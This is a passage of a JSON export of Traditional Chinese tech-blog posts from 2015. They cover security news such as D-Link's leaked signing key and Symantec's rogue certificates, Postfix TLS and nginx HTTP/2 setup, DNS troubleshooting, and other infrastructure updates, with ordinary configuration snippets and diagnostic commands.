    "body": "<a href=\"http://www.dlinktw.com.tw/\">D-Link</a> 在 <a href=\"http://www.dlinktw.com.tw/techsupport/DCS-5020L\">DCS-5020L</a> 的 open source package (因 GPL 要求) 裡放了簽名用的 private key：「<a href=\"http://www.theregister.co.uk/2015/09/18/d_link_code_signing_key_leak/\">D-Link spilled its private key onto the web – letting malware dress up as Windows apps</a>」。\r\n\r\n而這把 key 由 <a href=\"https://www.verisign.com/\">Verisign</a> 所簽，因此被 Windows 所信任，所以這把 key 可以用來簽 malware：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FafUowW.webp\" /><img src=\"https://i.gslin.com/imgur/FafUowW.jpg\" alt=\"\" /></picture>\r\n\r\n而不幸的是，這把 key 已經洩漏出來超過半年了：\r\n\r\n<blockquote>The D-Link key was leaked in late February, and expired on September 3, it appears.</blockquote>\r\n\r\n又是一連串的 revoke 過程... orz",
    "title": "D-Link 的 open source package 內包含了拿來簽名用的 Private Key"
  },
  {
    "id": "5993",
    "body": "<a href=\"http://githubengineering.com/\">GitHub Engineering</a> 的「<a href=\"http://githubengineering.com/subresource-integrity/\">Subresource Integrity</a>」這篇提到了新的 <a href=\"http://www.w3.org/\">W3C</a> 提案「<a href=\"http://www.w3.org/TR/SRI/\">Subresource Integrity</a>」。\r\n\r\n其實就是要做這件事情：\r\n\r\n<pre>&lt;script src=\"https://example.com/example-framework.js\"\r\n        integrity=\"sha256-C6CB9UYIS9UJeqinPHWTHVqh/E1uhG5Twh+Y5qFQmYg=\"\r\n        crossorigin=\"anonymous\"&gt;&lt;/script&gt;</pre>\r\n\r\n可以確保 CDN 被攻陷時還有一定程度的抵抗力。在 <a href=\"https://developer.mozilla.org/\">MDN</a> 上的「<a href=\"https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity\">Subresource Integrity</a>」也可以參考。\r\n\r\n目前 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 45+ (stable 版) 與 <a href=\"https://www.mozilla.org/firefox\">Firefox</a> 43 (目前是 Nightly 版) 有支援。",
    "title": "Subresource Integrity"
  },
  {
    "id": "5995",
    "body": "網站的 SSL certificate 弄過很多次了，想說來測看看 MX host 的部份。弄好後就會像這樣，這是 <a href=\"https://www.varnish-cache.org/\">Varnish</a> 的 mailing list：\r\n\r\n<pre>Received: from project.varnish-software.com (project.varnish-software.com [194.31.39.164])\r\n        (using TLSv1 with cipher AES256-SHA (256/256 bits))\r\n        (No client certificate requested)\r\n        by home.gslin.org (Postfix) with ESMTPS id 9C2F568009A\r\n        for <gslin@gslin.org>; Mon, 21 Sep 2015 08:46:30 +0800 (CST)</pre>\r\n\r\n這是 <a href=\"http://nginx.org/\">nginx</a> 的 mailing list 寄過來的信：\r\n\r\n<pre>Received: from mail.nginx.com (mail.nginx.com [206.251.255.65])\r\n        (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))\r\n        (No client certificate requested)\r\n        by home.gslin.org (Postfix) with ESMTPS id 4A4F26801E0\r\n        for <gslin@gslin.org>; Mon, 21 Sep 2015 08:25:37 +0800 (CST)</pre>\r\n\r\n還有些 cipher 的細節晚點再看看有沒有辦法再調整好了... 因為 MX 這樣設定，這次也順便試著用 <a href=\"https://www.startssl.com/\">StartSSL</a> 申請了好幾個 SSL certificate：\r\n\r\n<pre>;; ANSWER SECTION:\r\ngslin.org.              3600    IN      MX      20 mx20.gslin.org.\r\ngslin.org.              3600    IN      MX      0 mx0.gslin.org.</pre>\r\n\r\n因為有兩個 MX，所以申請了 <code>mx0.gslin.org</code> 與 <code>mx20.gslin.org</code> 的 SSL certificate。\r\n\r\n接下來的設定主要是參考「<a href=\"http://www.postfix.org/TLS_README.html\">Postfix TLS Support</a>」裡面的文件，以及 <a href=\"https://www.google.com/\">Google</a> 後找到的很多資料...\r\n\r\n在申請到了 SSL certificate 之後要先把 intermediate certificate 合併，然後在 <a href=\"http://www.postfix.org/\">Postfix</a> 的 <code>main.cf</code> 裡這樣設定：\r\n\r\n<pre>#\r\nsmtpd_tls_cert_file = /etc/ssl/certs/mx0.gslin.org-intermediate.crt\r\nsmtpd_tls_key_file = /etc/ssl/private/mx0.gslin.org.key\r\nsmtpd_tls_received_header = yes\r\nsmtpd_tls_security_level = may</pre>\r\n\r\n設好後就可以用「<a href=\"https://www.checktls.com/perl/TestReceiver.pl\">TLS  Receiver Test</a>」這個工具測試，輸入 <code>admin@gslin.org</code> 可以看到兩台都過了。\r\n\r\n然後是對外送信的部份，發現 msa.hinet.net 也有支援 <code>STARTTLS</code>，所以 smart relay 也可以用，這部份可以透過 <code>tcpdump -n -vvvv -A -i ppp0 host 168.95.4.211</code> 確認。寄出來的結果會是這樣：\r\n\r\n<pre>Received: from home.gslin.org (114-32-152-63.HINET-IP.hinet.net [114.32.152.63])\r\n\tby msr9.hinet.net (8.14.9/8.14.9) with ESMTP id t8L2l1gU006249\r\n\t(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO)\r\n\tfor <darkkiller@gmail.com>; Mon, 21 Sep 2015 10:47:01 +0800 (CST)</pre>\r\n\r\n而 Postfix 的設定是這樣設的：\r\n\r\n<pre>smtp_tls_note_starttls_offer = yes\r\nsmtp_tls_security_level = encrypt\r\nsmtp_use_tls = yes</pre>",
    "title": "把 SMTP 的 SSL certfiticate 弄起來..."
  },
  {
    "id": "5996",
    "body": "在「<a href=\"http://www.wired.co.uk/news/archive/2015-09/17/avg-privacy-policy-browser-search-data\">AVG can sell your browsing and search history to advertisers</a>」這邊整理的比較清楚：\r\n\r\n<blockquote><a href=\"http://www.avg.com/gb-en/privacy-new\">The updated policy</a> explained that AVG was allowed to collect \"non-personal data\", which could then be sold to third parties.</blockquote>\r\n\r\n或是抓原文：\r\n\r\n<blockquote>Do you share my data?\r\n\r\nYes, though when and how we share it depends on whether it is personal data or non-personal data. AVG may share non-personal data with third parties and may publicly display aggregate or anonymous information.</blockquote>\r\n\r\n新的條款會在今年 (2015) 的十月十五日生效。",
    "title": "AVG 更新隱私條款，以便能夠蒐集使用者的搜尋紀錄並且賣給其他人"
  },
  {
    "id": "5999",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 正式推出與 <a href=\"https://www.mongodb.org/\">MongoDB</a> 相容的產品 <a href=\"https://www.percona.com/software/mongo-database/percona-server-for-mongodb\">Percona Server for MongoDB</a>：「<a href=\"https://www.percona.com/about-percona/newsroom/press-releases/percona-delivers-free-open-source-percona-server-mongodb\">Percona Delivers Free, Open Source Percona Server for MongoDB</a>」。\r\n\r\n挑重點講，其實最重要的是 data engine 多了 Percona 自家的 PerconaFT 以及 <a href=\"https://www.facebook.com/\">Facebook</a> 的 <a href=\"http://rocksdb.org/\">RocksDB</a>：\r\n\r\n<blockquote>Percona Server for MongoDB offers all the features of MongoDB 3.0 Community Edition, along with two additional storage engine options – PerconaFT and Facebook’s RocksDB</blockquote>\r\n\r\nPerconaFT 是基於被併購的 <a href=\"http://www.tokutek.com/\">Tokutek</a> 所研發的 <a href=\"https://en.wikipedia.org/wiki/TokuDB\">TokuDB</a> (<a href=\"https://en.wikipedia.org/wiki/Fractal_tree_index\">Fractal tree index</a>) 而誕生的產品，在效能上有相當的優勢...\r\n\r\n如果有機會的話來研究看看吧 :o",
    "title": "Percona 正式推出相容於 MongoDB 的產品「Percona Server for MongoDB」"
  },
  {
    "id": "6000",
    "body": "最近在 <a href=\"https://www.facebook.com/\">Facebook</a> 上常看到有同事在抱怨破圖，其實是 <code>168.95.1.1</code> 的問題... 在 zsh 下跑一百次查詢可以偵測到對應的問題，不只是 Facebook 的網站，包括 <a href=\"http://www.hinet.net/\">HiNet</a> 自家網站都查不到：\r\n\r\n<pre>gslin@GSLIN-HOME1404 [~] [01:12/W5] repeat 100 host www.hinet.net 168.95.1.1 | grep REFUSED\r\nHost www.hinet.net not found: 5(REFUSED)\r\nHost www.hinet.net not found: 5(REFUSED)\r\nHost www.hinet.net not found: 5(REFUSED)\r\nHost www.hinet.net not found: 5(REFUSED)\r\nHost www.hinet.net not found: 5(REFUSED)\r\nHost www.hinet.net not found: 5(REFUSED)\r\nHost www.hinet.net not found: 5(REFUSED)</pre>\r\n\r\n隔壁的 <code>168.95.192.1</code> 與 <a href=\"https://www.google.com/\">Google</a> 家的 <code>8.8.8.8</code> 就沒這個問題：\r\n\r\n<pre>gslin@GSLIN-HOME1404 [~] [01:13/W5] repeat 100 host www.hinet.net 168.95.192.1 | grep REFUSED\r\ngslin@GSLIN-HOME1404 [~] [01:13/W5] repeat 100 host www.hinet.net 8.8.8.8 | grep REFUSED     \r\ngslin@GSLIN-HOME1404 [~] [01:14/W5]</pre>\r\n\r\n所以 workaround 就呼之欲出了：把 DNS resolver 換成 <code>8.8.8.8</code>。",
    "title": "最近 Facebook 破圖的問題 (168.95.1.1 出問題)"
  },
  {
    "id": "6002",
    "body": "<a href=\"https://www.google.com/\">Google</a> 推出了 <a href=\"https://github.com/google/brotli\">Brotli</a> 這個無損壓縮法：「<a href=\"http://google-opensource.blogspot.com/2015/09/introducing-brotli-new-compression.html\">Introducing Brotli: a new compression algorithm for the internet</a>」。\r\n\r\nGoogle 推出的 <a href=\"https://github.com/google/zopfli\">Zopfli</a> 相容於 DEFLATE 的超慢壓縮演算法，但可以多壓榨出 3%～8% 的壓縮率。而 Brotli 則是重新設計，壓縮與解壓縮速度跟 <a href=\"https://en.wikipedia.org/wiki/DEFLATE\">DEFLATE</a> 差不多，但壓縮率比 Zopfli 多了 20%～26%。\r\n\r\n<blockquote>This new format allows us to get 20–26% higher compression ratios over Zopfli. In our study ‘<a href=\"http://www.gstatic.com/b/brotlidocs/brotli-2015-09-22.pdf\">Comparison of Brotli, Deflate, Zopfli, LZMA, LZHAM and Bzip2 Compression Algorithms</a>’ we show that Brotli is roughly as fast as <a href=\"http://www.zlib.net/\">zlib’s</a> Deflate implementation.</blockquote>\r\n\r\n由於目標是希望讓瀏覽器支援新的壓縮法，Google 把 Brotli 往 RFC 提案，試著變成公開標準：「<a href=\"https://www.ietf.org/id/draft-alakuijala-brotli-05.txt\">Brotli Compressed Data Format</a>」。\r\n\r\n看了看 commit log，看起來已經開發一陣子了...",
    "title": "Google 推出 Brotli 無損壓縮法"
  },
  {
    "id": "6003",
    "body": "照目前公開的報導說，幹這件事情的人被幹掉了：「<a href=\"http://www.itpro.co.uk/security/25315/symantec-employees-fired-over-fake-security-certificates\">Symantec employees fired over fake security certificates</a>」，也進一步透漏，發現有三個 certificate 被發出來：\r\n\r\n<blockquote>Symantec's senior director of engineering Quentin Liu said it discovered three unauthorised certificates last week during product testing.</blockquote>\r\n\r\n<blockquote>He explained that 'a few' employees who, it said, had passed the company's on-boarding and security training, failed to follow its policies and were therefore fired after a \"thoughful review process.\"</blockquote>\r\n\r\n還是沒看到第三方單位介入稽核的消息。",
    "title": "Symantec 的 Thawte 發出 Google 的 SSL certificate 的後續"
  },
  {
    "id": "6004",
    "body": "在「<a href=\"https://isc.sans.edu/diary/Using+testssl.sh+/20167\">Using testssl.sh</a>」這邊看到「<a href=\"https://testssl.sh/\">testssl.sh</a>」這個工具。\r\n\r\n需要新版的 <a href=\"https://www.openssl.org/\">OpenSSL</a> 會掃的比較完整，不過看起來 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 14.04 內建的就可以掃不少東西了 (當然還是少了 <a href=\"https://tools.ietf.org/html/rfc7539\">ChaCha20+Poly1305</a>)。\r\n\r\n<a href=\"https://www.qualys.com/\">Qualys</a> 的「<a href=\"https://www.ssllabs.com/ssltest/\">SSL Server Test</a>」只能掃有開放給公開使用的站台，而這個工具就可以拿來掃內部網站了。\r\n\r\n拿官方給的 screenshot 來看結果：\r\n\r\n<img src=\"https://i.gslin.com/imgur/WOjmXFY.jpg\" alt=\"\" />",
    "title": "測試 HTTPS 設定的 shell script"
  },
  {
    "id": "6005",
    "body": "<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 啟用了加拿大機房：「<a href=\"https://www.digitalocean.com/company/blog/introducing-our-new-canadian-datacenter-tor1/\">Introducing Our New Canadian Datacenter: TOR1</a>」，機房代碼 <code>TOR1</code> (被用在 API)。\r\n\r\n話說回來，<a href=\"https://www.linode.com/\">Linode</a> 與 <a href=\"https://aws.amazon.com/\">AWS</a> 好像都很久沒看到開新的機房了...",
    "title": "DigitalOcean 開放加拿大機房"
  },
  {
    "id": "6006",
    "body": "前幾天 <a href=\"http://nginx.org/\">nginx</a> 釋出 1.9.5 版，支援 <a href=\"https://http2.github.io/\">HTTP/2</a> (<a href=\"http://nginx.org/en/docs/http/ngx_http_v2_module.html\">ngx_http_v2_module</a>)：「<a href=\"https://www.nginx.com/blog/nginx-1-9-5/\">NGINX Open Source 1.9.5 Released with HTTP/2 Support</a>」。\r\n\r\n不過預設是沒有編進去的，需要用 <code>--with-http_v2_module</code> 開起來：\r\n\r\n<blockquote>This module is not built by default, it should be enabled with the --with-http_v2_module configuration parameter.</blockquote>\r\n\r\n要注意的是，由於是透過 <a href=\"https://en.wikipedia.org/wiki/Application-Layer_Protocol_Negotiation\">ALPN</a> 實作，需要 <a href=\"https://www.openssl.org/\">OpenSSL</a> 1.0.2 之後的版本：\r\n\r\n<blockquote>Note that accepting HTTP/2 connections over TLS requires the “Application-Layer Protocol Negotiation” (ALPN) TLS extension support, which is available only since OpenSSL version 1.0.2. Using the “Next Protocol Negotiation” (NPN) TLS extension for this purpose (available since OpenSSL version 1.0.1) is not guaranteed.</blockquote>\r\n\r\n不過 <a href=\"https://launchpad.net/ubuntu/+ppas\">PPA</a> 的 <a href=\"https://launchpad.net/~nginx/+archive/ubuntu/development\">NGINX Mainline</a> 這邊還沒更新到 1.9.5，反正 <a href=\"https://www.chromium.org/spdy\">SPDY</a> 現在的佔有率還是比 HTTP/2 高，再等等吧...",
    "title": "nginx 1.9.5：支援 HTTP/2！"
  },
  {
    "id": "6007",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2015/09/06/5955/%E6%B8%AC%E8%A9%A6-mariadb-%E4%B8%8A-galera-cluster-%E7%9A%84-isolation/\">測試 MariaDB 上 Galera Cluster 的 Isolation</a>」這邊與「<a href=\"https://blog.gslin.org/archives/2015/09/18/5989/%E5%BE%9E%E9%A0%AD%E5%AD%B8%E4%B8%80%E6%AC%A1-isolation-level-%E7%9A%84-repeatable-read-%E8%88%87-serializable/\">從頭學一次 Isolation level 的 REPEATABLE-READ 與 SERIALIZABLE</a>」對應了 <a href=\"https://stripe.com/\">Stripe</a> 的「<a href=\"https://aphyr.com/posts/327-call-me-maybe-mariadb-galera-cluster\">Call me Maybe: MariaDB Galera Cluster</a>」以及 <a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2015/09/17/clarification-call-maybe-mariadb-galera-cluster/\">Clarification on “Call me Maybe: MariaDB Galera Cluster”</a>」這兩篇文章，兩邊在空中交火...\r\n\r\n而「<a href=\"https://aphyr.com/posts/328-call-me-maybe-percona-xtradb-cluster\">Call me Maybe: Percona XtraDB Cluster</a>」這篇是目前最新的一篇 (文章日期有點怪怪的，不應該是 2015/09/04)。\r\n\r\n畢竟 <a href=\"http://galeracluster.com/products/\">Galera Cluster</a> 是目前現在在用的產品，雖然跑起來也沒什麼大問題，但預先多了解一點總是比較保險。而要參與這場 Isolation 戰爭，又花了不少時間看幾份資料。(包括重頭讀的)\r\n\r\n第一個當然是 1992 年發表的 <a href=\"https://en.wikipedia.org/wiki/SQL-92\">SQL-92</a>：「<a href=\"http://www.contrib.andrew.cmu.edu/~shadow/sql/sql1992.txt\">ISO/IEC 9075:1992, Database Language SQL</a>」，在 SQL-92 定義了四個 Isolation 的層級，分別是 <code>SERIALIZABLE</code>、<code>REPEATABLE READ</code>、<code>READ COMMITTED</code>、<code>READ UNCOMMITTED</code>。\r\n\r\n另外一篇常被拿出來討論的是 1995 年由微軟帶頭發表的「<a href=\"https://arxiv.org/pdf/cs/0701157.pdf\">A Critique of ANSI SQL Isolation Levels</a>」，主要是提出 Snapshot Isolation 的定義。\r\n\r\n後來讀到覺得真的很怪的時候到 <a href=\"https://stackexchange.com/\">Stack Exchange</a> 上的 <a href=\"https://dba.stackexchange.com/\">Database Administrators</a> 問：「<a href=\"https://dba.stackexchange.com/questions/116230/does-sql92s-repeatable-read-preclude-write-skew-a5b\">Does SQL92's REPEATABLE-READ preclude Write Skew (A5B)?</a>」，確認了我的想法。\r\n\r\n這篇算是讀書心得吧，留給自己用的 :p\r\n\r\n首先是 <code>REPEATABLE READ</code> 的定義是透過「現象」定義，只要符合這些條件就可以被稱作 REPEATABLE READ，這包括了保證不會出現 P1 (\"Dirty read\")：\r\n\r\n<blockquote>1) P1 (\"Dirty read\"): SQL-transaction T1 modifies a row. SQL-transaction T2 then reads that row before T1 performs a COMMIT. If T1 then performs a ROLLBACK, T2 will have read a row that was never committed and that may thus be considered to have never existed.</blockquote>\r\n\r\n以及保證不會出現 P2 (\"Non-repeatable read\")：\r\n\r\n<blockquote>2) P2 (\"Non-repeatable read\"): SQL-transaction T1 reads a row. SQL-transaction T2 then modifies or deletes that row and performs a COMMIT. If T1 then attempts to reread the row, it may receive the modified value or discover that the row has been deleted.</blockquote>\r\n\r\n並且保證 Atomicity 以及 no updates will be lost：\r\n\r\n<blockquote>The four isolation levels guarantee that each SQL-transaction will be executed completely or not at all, and that no updates will be lost.</blockquote>\r\n\r\n只要做到這些條件，就可以說符合 SQL-92 的 REPEATABLE READ 要求。\r\n\r\n<hr>\r\n\r\n另外一方面，在「A Critique of ANSI SQL Isolation Levels」定義的 SQL-92 認為 <code>REPEATABLE READ</code> 是透過 locking 機制實作的 (整篇的寫法的確是朝這個方向走)，並且基於 locking mechanism 來推論後續的行為，所以這篇 paper 裡面很多說明是帶著這個大前提的。\r\n\r\n而當時已經有資料庫是使用 <a href=\"https://en.wikipedia.org/wiki/Multiversion_concurrency_control\">MVCC</a> 架構在實作，可以透過 read snapshot 的方式找出另外一條路。\r\n\r\n舉例來說，InnoDB 對 REPEATABLE READ 實作的方式是透過 snapshot 實作：(出自「<a href=\"https://dev.mysql.com/doc/refman/5.6/en/set-transaction.html\">MySQL :: MySQL 5.6 Reference Manual :: 13.3.6 SET TRANSACTION Syntax</a>」)\r\n\r\n<blockquote>For consistent reads, there is an important difference from the READ COMMITTED isolation level: All consistent reads within the same transaction read the snapshot established by the first read. This convention means that if you issue several plain (nonlocking) SELECT statements within the same transaction, these SELECT statements are consistent also with respect to each other.</blockquote>\r\n\r\n這樣避開了 P1、P2 (甚至多做避開到了 P3，不過這邊不重要)，並且 Atomicity。而 Update Lost 問題則再透過 lock 機制避免。所以 InnoDB 的 REPEATABLE READ 其實比 SQL-92 的要求多做到了很多事情...\r\n\r\n<hr>\r\n\r\n到這邊再回頭看原來的討論文章，才會發現 Isolation 裡有滿滿的地雷可以採 XD",
    "title": "繼續學 Isolation..."
  },
  {
    "id": "6008",
    "body": "前幾天在「<a href=\"https://blog.gslin.org/archives/2015/09/16/5978/%E5%9C%A8-cisco-router-%E4%B8%8A%E8%A2%AB%E6%A4%8D%E5%85%A5%E7%9A%84%E5%BE%8C%E9%96%80/\">在 Cisco Router 上被植入的後門</a>」這邊提到了 <a href=\"https://www.cisco.com/\">Cisco</a> 的 router 被植入後門，剛剛在 <a href=\"http://zite.com/\">Zite</a> 上看到 Cisco 放出檢查程式：「<a href=\"http://securityaffairs.co/wordpress/40481/hacking/synful_knock-tool-scan.html\">Cisco released a tool to scan for SYNful_Knock implants</a>」。\r\n\r\n程式是用 <a href=\"https://www.python.org/\">Python</a> 寫的，可以在「<a href=\"http://talosintel.com/scanner/\">Talos Intel - Synful Knock Scanner</a>」這邊取得，但這個網站沒有用 HTTPS 保護，網站上提供的 Hash 簽名也沒有 PGP 簽名的資訊，從無信任起...\r\n\r\n找了一下 Cisco 官方的資訊，在「<a href=\"https://blogs.cisco.com/security/talos/synful-scanner\">SYNful Knock Scanner</a>」這邊也有提供 Hash，請用這邊的值確認吧，這是目前能做到最好的確認了。",
    "title": "Cisco 釋出偵測是否有被植入後門的程式"
  },
  {
    "id": "6009",
    "body": "看到「<a href=\"http://arstechnica.com/business/2015/09/north-america-is-out-of-ipv4-addresses-for-really-real-this-time/\">North America is out of IPv4 addresses—for really real this time</a>」這邊提到了北美 IPv4 位置的問題，檢查了一下發現我的 blog 還沒上 IPv6，先把 <code>/etc/network/interfaces</code> 設好，再把 DNS 與 <a href=\"http://nginx.org/\">nginx</a> 改了一下就 okay 了。\r\n\r\n這是 <a href=\"https://www.google.com/\">Google</a> 所觀察到的 IPv6 使用率，可以在「<a href=\"https://www.google.com/intl/en/ipv6/statistics.html#tab=ipv6-adoption&amp;tab=ipv6-adoption&amp;tab=ipv6-adoption\">IPv6 – Google</a>」這邊看到：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/y5HQTfP.webp\" /><img src=\"https://i.gslin.com/imgur/y5HQTfP.jpg\" alt=\"\" /></picture>\r\n\r\n如果時間軸拉的小一點，可以看出來週末會高一點，周間會低一點 XD",
    "title": "把 blog.gslin.org 加上 IPv6 位置"
  },
  {
    "id": "6012",
    "body": "在 <a href=\"http://lowendbox.com/\">Low End Box</a> 上逛到的主機商 <a href=\"https://www.openvirtuals.com/\">Openvirtuals</a>，在 LEB 上看到的優惠已經沒了，但點進去後看到 Buffalo 的主機年繳有 50% off，加上硬碟空間又大，就決定弄一台玩玩...\r\n\r\nSSD-CACHED 的 Mini 是 256MB RAM + 512MB vSwap 以及 90GB 空間，要 USD$16/year，而 Standard 的都是兩倍，但只要 USD$20/year，就決定買 Standard 了...\r\n\r\n後台的功能比想像中完整，這是系統資訊與狀態的畫面，功能其實不比 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 差 (不過畫面就普普通通了)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3r7sOd6.webp\" /><img src=\"https://i.gslin.com/imgur/3r7sOd6.jpg\" alt=\"\" /></picture>\r\n\r\n裝了 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 14.04 64bits 跑，不過 Linux kernel 偏舊了點，是 2.6.32，查了一下維基百科上的資料，應該是 2009 年底的版本，是目前唯一一個 2.6 上有繼續維護的版本：\r\n\r\n<pre>Linux two 2.6.32-042stab108.2 #1 SMP Tue May 12 18:07:50 MSK 2015 x86_64 x86_64 x86_64 GNU/Linux</pre>\r\n\r\n網路的部份，實際測試時發現不是很穩定，<a href=\"http://www.hinet.net/\">HiNet</a> 過去有時候會有不低的 packet loss，可能是中間有線路因為 DDoS 造成不穩定。\r\n\r\n反正只是要跑 <a href=\"https://syncthing.net/\">Synthing</a> 也還好，就先這樣丟著... 上面順便跑個 <a href=\"https://rakshasa.github.io/rtorrent/\">rtorrent</a> 幫忙 Ubuntu 分擔 ISO Image。",
    "title": "拿 Openvirtuals 的主機跑 Syncthing..."
  },
  {
    "id": "6014",
    "body": "之前 <a href=\"https://aws.amazon.com/ses/\">Amazon SES</a> 只能拿來發信，現在可以收信了：「<a href=\"https://aws.amazon.com/blogs/aws/new-receive-and-process-incoming-email-with-amazon-ses/\">New – Receive and Process Incoming Email with Amazon SES</a>」。\r\n\r\n收信下來後可以放到 <a href=\"https://aws.amazon.com/s3/\">S3</a>，也可以用 <a href=\"https://aws.amazon.com/sns/\">SNS</a> 接，或是用 <a href=\"https://aws.amazon.com/lambda/\">Lambda</a> 處理。除此之外還有 Spam &amp; Virus 檢查的功能...\r\n\r\n一時間想不到用途 :o",
    "title": "Amazon SES 可以收信了..."
  },
  {
    "id": "6015",
    "body": "前幾天 <a href=\"https://www.reddit.com/\">Reddit</a> 宣佈放出完整的全站投稿資料：「<a href=\"https://www.reddit.com/r/datasets/comments/3mg812/full_reddit_submission_corpus_now_available_2006/\">Full Reddit Submission Corpus now available (2006 thru August 2015)</a>」，有些技術問題使得這次沒放出 2006 與 2007 的資料，之後會想辦法補上：\r\n\r\n<blockquote>Data is complete from January 01, 2008 thru August 31, 2015. Partial data is available for years 2006 and 2007. The reason for this is that the id's used when Reddit was just a baby were scattered a bit -- but I am making an attempt to grab all data from 2006 and 2007 and will make a supplementary upload for that data once I'm satisfied that I've found all data that is available.</blockquote>\r\n\r\n約 42GB 的資料，幾乎是公開的資料都包含進去了：\r\n\r\n<blockquote>This dataset represents approximately 200 million submission objects with score data, author, title, self_text, media tags and all other attributes available via the Reddit API.</blockquote>\r\n\r\n檔案放在 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 上，不過有人貼出對應的 <a href=\"http://www.bittorrent.org/\">BitTorrent</a> 連結了，最重要的 btih 值是 9941b4485203c7838c3e688189dc069b7af59f2e。\r\n\r\n可以拿來做各種研究...",
    "title": "Reddit 放出完整的全站投稿資料"
  },
  {
    "id": "6016",
    "body": "<a href=\"http://alexking.org/\">Alex King</a> 是 <a href=\"https://wordpress.org/\">WordPress</a> 非常早期的知名開發者，十多年前因為 <a href=\"https://movabletype.org/\">MovableType</a> 更改授權而跳到 WordPress 時就對這個名字非常有印象了，以前還用過他寫的 theme...\r\n\r\n結果剛剛看到跟癌症纏鬥了兩年半之後過世的消息，讓人感傷不已：「<a href=\"http://tow.com/2015/09/28/remembering-alex-king/\">Remembering Alex King</a>」(<a href=\"http://tow.com/\">Alex Tow</a>)、「<a href=\"http://ma.tt/2015/09/remembering-alex-king/\">Remembering Alex King</a>」(<a href=\"http://ma.tt/\">Matt Mullenweg</a>)。",
    "title": "Alex King 過世..."
  },
  {
    "id": "6017",
    "body": "在 <a href=\"http://www.osnews.com/\">OSNews.com</a> 上看到 <a href=\"https://www.google.com/\">Google</a> 的 Customer Match 讓你可以針對某個特定帳號 (用 e-mail 辨別) 下廣告：「<a href=\"http://www.osnews.com/story/28870/Google_lets_companies_target_ads_using_your_email_adress\">Google lets companies target ads using your email adress</a>」。Google 的文章在「<a href=\"http://adwords.blogspot.com/2015/09/Google-brings-you-closer-to-your-customers.html\">Google brings you closer to your customers in the moments that matter</a>」這邊。\r\n\r\nCustomer Match 允許你直接針對某個人下廣告：\r\n\r\n<blockquote>Customer Match allows you to upload a list of email addresses, which can be matched to signed-in users on Google in a secure and privacy-safe way.</blockquote>\r\n\r\n侵犯隱私並且提供 APT 攻擊 (<a href=\"https://en.wikipedia.org/wiki/Advanced_persistent_threat\">Advanced persistent threat</a>) 一個避開偵測的管道。\r\n\r\n這也是為什麼應該裝「<a href=\"https://chrome.google.com/webstore/detail/ublock-origin/cjpalhdlnbpafiamejdnhcphjbkeiagm\">uBlock Origin</a>」(<a href=\"https://www.google.com/chrome\">Google Chrome</a>) 的原因之一：在網路上你要學會用各種工具保護自己。",
    "title": "Google 的 Customer Match 讓你可以針對特定帳號 (by e-mail) 下廣告"
  },
  {
    "id": "6019",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2015/09/26/6006/nginx-1-9-5%EF%BC%9A%E6%94%AF%E6%8F%B4-http2%EF%BC%81/\">nginx 1.9.5：支援 HTTP/2！</a>」這邊提到 <a href=\"http://nginx.org/\">nginx</a> 支援 <a href=\"https://http2.github.io/\">HTTP/2</a>，不過過了一個禮拜，比較知名的 PPA「<a href=\"https://launchpad.net/~nginx/+archive/ubuntu/development\">NGINX Mainline</a>」一直沒更新，維持在 1.9.4 版 (只支援 <a href=\"https://www.chromium.org/spdy\">SPDY</a>)。\r\n\r\n這幾天一直找資料，在 <a href=\"https://chrislea.com/\">chris lea</a> 的 PPA「<a href=\"https://launchpad.net/~chris-lea/+archive/ubuntu/nginx-devel\">nginx-devel</a>」這邊看到 1.9.5 的版本，就先暫時改裝了。\r\n\r\n裝完後把設定檔裡的 <code>spdy</code> 字串改成 <code>http2</code> 就可以用了，比預期中簡單不少，然後重新啟動後連上去就可以看到藍色 icon 了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/XNNuvih.webp\" /><img src=\"https://i.gslin.com/imgur/XNNuvih.jpg\" alt=\"\" /></picture>\r\n\r\n收工解決... (樂)",
    "title": "把 blog.gslin.org 換上 HTTP/2"
  },
  {
    "id": "6020",
    "body": "<a href=\"https://adblockplus.org/\">Adblock Plus</a> 推出在 <a href=\"https://www.apple.com/ios/\">iOS</a> 9 上的 Content Blocking 功能了：「<a href=\"https://adblockplus.org/blog/adblock-plus-for-ios-9-finally-here-and-pssst-it-s-free\">Adblock Plus for iOS is finally here! Pssst, it's free!</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/B8u5LRz.webp\" /><img src=\"https://i.gslin.com/imgur/B8u5LRz.jpg\" alt=\"\" /></picture>\r\n\r\n與桌機版本一樣可以關掉 Acceptable Ads。",
    "title": "Adblock Plus 推出在 iOS 9 上的 Content Blocking 功能"
  },
  {
    "id": "6021",
